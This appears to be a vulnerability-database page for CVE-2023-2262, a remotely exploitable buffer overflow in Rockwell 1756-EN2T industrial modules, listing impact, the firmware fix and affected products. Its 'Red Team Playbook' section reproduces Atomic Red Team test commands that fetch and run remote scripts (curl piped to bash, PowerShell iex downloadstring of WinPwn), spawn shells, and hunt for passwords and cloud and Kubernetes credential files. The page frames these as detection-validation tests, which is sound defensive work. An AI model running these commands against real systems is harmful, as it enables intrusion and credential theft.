CVE-2023-2262
Overview
This vulnerability is a buffer overflow caused by improper handling of crafted CIP (Common Industrial Protocol) requests in Rockwell Automation 1756-EN2T communication devices. The flaw originates from insufficient bounds checking within the firmware's CIP request processing module. Affected components include multiple firmware versions across the 1756-EN2T Series A, B, C, and related models, where the network communication stack fails to validate input lengths correctly.
Vulnerability Description
A buffer overflow vulnerability exists in the Rockwell Automation select 1756-EN* communication devices. If exploited, a threat actor could potentially leverage this vulnerability to perform a remote code execution. To exploit this vulnerability, a threat actor would have to send a maliciously crafted CIP request to device.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary code remotely on the affected device. This enables full control over the communication module, potentially disrupting industrial control processes or facilitating lateral movement within the network. The attack requires no user interaction and leverages network-based vectors (AV:N/AC:L/PR:N/UI:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Rockwell Automation has released an advisory (https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140786) detailing firmware updates that address this vulnerability. Users should upgrade affected 1756-EN2T Series A, B, C, D, and 1756-EN2TK Series A devices to the latest patched firmware versions as specified in the advisory. The vendor does not list workarounds; applying the official firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rockwellautomation | 1756-En2t Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series D Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_d_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series D Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_d_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tp Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tp_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tpk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tpk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trxt Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trxt_series_a_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2262 |
| rockwellautomation.custhelp.com |
GitHub CVE
|
https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140786 |